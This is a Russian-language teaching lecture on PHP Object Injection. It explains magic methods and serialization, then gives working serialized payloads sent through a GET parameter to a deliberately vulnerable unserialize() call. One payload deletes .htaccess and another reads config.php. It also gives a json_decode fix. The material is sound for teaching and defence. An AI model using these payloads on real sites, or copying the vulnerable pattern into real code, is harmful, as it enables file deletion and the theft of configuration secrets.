# Лекция 10 PHP Object Injection (PHP unserialize)

Потенциальные риски: RCE через сериализацию пользовательских данных

Существует в проектах, которые используют ООП - классы и объекты. И на данный момент с 2009 по 2015 год была обнаружена в следующих приложениях:  
  
WordPress 3.6.1

Magento 1.9.0.1

Joomla 3.0.3

IP Board 3.3.4

Также есть и более современные уязвимости в php 5 и 7 версии, за 2016-2017 год. (см vulners.com)

## **PHP Классы и методы**

|  |
| --- |
| <?php    class TestClass  {  // A variable  public $variable = 'This is a string';    // A simple method  public function PrintVariable()  {  echo $this->variable;  }  }  // Create an object  $object = new TestClass();    // Call a method  $object->PrintVariable();    ?> |

В данном примере создается объект и вызывается функция PrintVariable(). Которая выводит значение переменной

## **PHP magic methods**

Классы в PHP могут содержать специальные функции, называемые “магические функции”. Их имена начинаются на “\_\_”, например такие:

\_\_construct, \_\_destruct, \_\_toString, \_\_sleep, \_\_wakeup и тп.

Эти методы вызываются в соответствующих случаях, напрмиер:

\_\_construct - в случае создания объекта (конструктор)

\_\_destruct - в случае уничтожения объекта (деструктор)

\_\_toString - в случае использования объекта в качестве строки

Добавим магические методы в класс.

|  |
| --- |
| <?php    class TestClass  {  // A variable  public $variable = 'This is a string';    // A simple method  public function PrintVariable()  {  echo $this->variable . '<br />';  }    // Constructor  public function \_\_construct()  {  echo '\_\_construct <br />';  }  // Destructor  public function \_\_destruct()  {  echo '\_\_destruct <br />';  }  // Call  public function \_\_toString()  {  return '\_\_toString<br />';  }  }    // Create an object, will call \_\_construct  $object = new TestClass();  // Call a method, will print 'This is a string'  $object->PrintVariable();    // Object act as a string, will call \_\_toString  echo $object;  // End of PHP script  // Will call \_\_destruct  ?> |

В итоге будет использовано 3 метода: \_\_construct, \_\_destruct, \_\_toString. Конструктор будет вызван при создании объекта, деструктор - в конце PHP скрипта, когда все объекты уничтожаются, а \_\_toString - вызывается в тот момент, когда мы пытаемся вывести объект как строку. Функция echo будет рассматривать объект как строку, и поэтому автоматически вызовется функция \_\_toString.

И в итоге будет следующий вывод на экран:

|  |
| --- |
| \_\_construct  This is a string \_\_toString \_\_destruct |

## **PHP Object Serialization**

Язык PHP позволяет сериализовать объекты. Сериализация - процедура, которая позволяет сохранять объект и использовать его позднее. Например можно сохранить объект, содержащий какую-нибудь пользовательскую информацию и использовать его позднее.

Для сериализации объекта нужно вызвать функцию serialize. Она вернет строковое представление, которое можно использовать позднее после вызова функции unserialize, которая в свою очередь пересоздает объект.

Рассмотрим класс, с сериализацией и десереализацией.

|  |
| --- |
| <?php    // Simple class definition  class User  {  // Class data  public $age = 0;  public $name = '';    // Print data  public function PrintData()  {  echo 'User ' . $this->name . ' is ' . $this->age  . ' years old. <br />';  }  }    // Create a user  $usr = new User();    // Set user data  $usr->age = 20;  $usr->name = 'John';    // Print data  $usr->PrintData();    // Serialize object and print output  echo serialize($usr);    ?> |

В его выводе будет следующее:

|  |
| --- |
| User John is 20 years old. O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";} |

Теперь попробуем переиспользовать этот объект:

|  |
| --- |
| <?php    // Simple class definition    class User  {  // Class data  public $age = 0;  public $name = '';    // Print data  public function PrintData()  {  echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  }  }    // Create a user  $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');    // Print data  $usr->PrintData();    ?> |

И получим следующий вывод:

|  |
| --- |
| User John is 20 years old. |

## **Serialization magic functions**

Так же как и функции конструктора и деструктора вызываются автоматически, когда объект создается или удаляется, другие магические функции вызываются когда объект сериализуется и десереализуется.

\_\_sleep - метод вызывается, когда объект сериализуется. Возвращает массив с сериализованными именами переменных.

\_\_wakeup - метод вызывается, когда объект десериализуется.

Объединим все эти методы:

|  |
| --- |
| <?php  class Test  {  public $variable = 'BUZZ';  public $variable2 = 'OTHER';    public function PrintVariable()  {  echo $this->variable . '<br />';  }  public function \_\_construct()  {  echo '\_\_construct<br />';  }  public function \_\_destruct()  {  echo '\_\_destruct<br />';  }  public function \_\_wakeup()  {  echo '\_\_wakeup<br />';  }  public function \_\_sleep()  {  echo '\_\_sleep<br />';    return array('variable', 'variable2');  }  }  // Create an object, will call \_\_construct  $obj = new Test();  // Serialize object, will call \_\_sleep  $serialized = serialize($obj);  // Print serialized string  print 'Serialized: ' . $serialized . <br />';  // Unserialize string, will call \_\_wakeup  $obj2 = unserialize($serialized);  // Call PintVariable, will print data (BUZZ)  $obj2->PrintVariable();  // PHP script ends, will call \_\_destruct for both objects($obj and $obj2)  ?> |

И вот такой вывод:

|  |
| --- |
| \_\_construct \_\_sleep Serialized: O:4:"Test":2:{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} \_\_wakeup BUZZ \_\_destruct \_\_destruct |

## 

## 

## **PHP Object Injection**

Эксплуатация сериализации возможна несколькими различными путями, в зависимости от использованных классов, магических функций и самого приложения.

Сериализованный объект содержит данные, которые контролируются атакующим.

В приложении могут содержаться классы, в которых определены функции \_\_wakeup, \_\_destruct и эти функции могут делать что-то что влияет на веб-приложения.

В качестве примера рассмотрим класс, который временно хранит информацию в лог файле. Когда объект уничтожается этот лог файл больше не нужен и будет удален методом destruct.

|  |
| --- |
| <?php    class LogFile  {  // Specify log filename    public $filename = 'error.log';    // Some code    public function LogData($text)  {  echo 'Log some data: ' . $text . '<br />';  file\_put\_contents($this->filename, $text, FILE\_APPEND);  }    // Destructor that deletes the log file    public function \_\_destruct()  {  echo '\_\_destruct deletes "' . $this->filename . '" file. <br />';  unlink(dirname(\_\_FILE\_\_) . '/' . $this->filename);  }  }    ?> |

Пример использования:

|  |
| --- |
| <?php    include 'logfile.php';    // Create an object  $obj = new LogFile();    // Set filename and log data  $obj->filename = 'somefile.log';  $obj->LogData('Test');    // Destructor will be called and 'somefile.log' will be deleted  ?> |

А в другом скрипте мы могли бы в это время вызывать функцию десериализации, используя данные, предоставляемые пользователем. (атакующий контролирует $\_GET)

|  |
| --- |
| <?php  include 'logfile.php';    // ... Some other code that uses LogFile class ...    // Simple class definition  class User  {  // Class data  public $age = 0;  public $name = '';    // Print data  public function PrintData()  {  echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  }  }    // Unserialize user supplied data  $usr = unserialize($\_GET['usr\_serialized']);  ?> |

Здесь мы используем класс LogFile. Также есть вызов функции unserialize() с использованием предоставленных пользовательских данных. Вот тут как раз и находится точка инъекции.

В качестве легитимного запроса можно представить вот этот:

|  |
| --- |
| script.php?usr\_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";} |

Но, что же произойдет, если мы пошлем вместо сериализованного объекта User, сериализованный объект LogFile. Нет никаких принуждающих нас вещей, которые заставили бы нас вообще посылать объект User, так что мы можем посылать все что угодно.

Создадим LogFile объект,

|  |
| --- |
| <?php    $obj = new LogFile();  $obj->filename = '.htaccess';    echo serialize($obj) . '<br />';    ?> |

который бы удалял из папки файл .htaccess и получим вот такой вывод:

|  |
| --- |
| O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} \_\_destruct deletes ".htaccess" file. |

И попробуем вставить этот сериализованный объект в GET-запрос вместо ожидаемого

|  |
| --- |
| script.php?usr\_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} |

И получим следующий вывод:

|  |
| --- |
| \_\_destruct deletes ".htaccess" file. |

Это становится возможным, т.к. Метод destruct вызывается в любом случае и автоматически. А также поскольку у нас есть доступ к переменной LogFile, так что поэтому мы можем для filename задавать любое значение.

## **Common injection points**

При этом кроме обычных точек внедрения \_\_wakeup or \_\_destruct, есть еще и другие, которые позволяют эксплуатировать данный тип уязвимости.

Например может быть определен метод toString в одном классе, который позволял бы программисту выводить объект как строку, но в другом классе мог бы использоваться метод toString, который бы давал возможность программисту читать файл.

|  |
| --- |
| <?php    // ... In some other included file ...    class FileClass  {  // Filename variable    public $filename = 'error.log';    // Object used as a string displays the file contents    public function \_\_toString()  {  return file\_get\_contents($this->filename);  }  }    // Main User class    class User  {  // Class data    public $age = 0;  public $name = '';    // Allow object to be used as a String    public function \_\_toString()  {  return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  }  }    // Expected: a serialized User object    $obj = unserialize($\_GET['usr\_serialized']);    // Will call \_\_toString method of the unserialized object    echo $obj;    ?> |

Валидный запрос:

|  |
| --- |
| script.php?usr\_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";} |

Результат:

|  |
| --- |
| User John is 20 years old. |

Вредоносный запрос:

|  |
| --- |
| script.php?usr\_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";} |

## **Other possible exploitation situations**

\_\_call будет вызван, когда объект вызывает несуществующую функцию

\_\_get и \_\_set будут вызваны, когда объект попытается получить доступ к несуществующей переменной в классе.

Метод get может быть использован например для получения пользовательских данных и он же может быть использован для получения данных из СУБД. Что приводит нас к атаке типа SQL Injection.

## **How to fix and avoid it**

Использовать функцию json\_decode() вместо unserialize() для пользовательских данных

## 

## **Ограничения**

Существуют еще и другие проблемы ООП, такие как область видимости. Объекты могут создаваться с приватными, защищенными или публичными функциями\переменными.

Такие области видимости можно попробовать обойти с помощью wildcard, null-byte.

public scope to make that variable/function available from anywhere, other classes and instances of the object.

private scope when you want your variable/function to be visible in its own class only.

protected scope when you want to make your variable/function visible in all classes that extend current class including the parent class.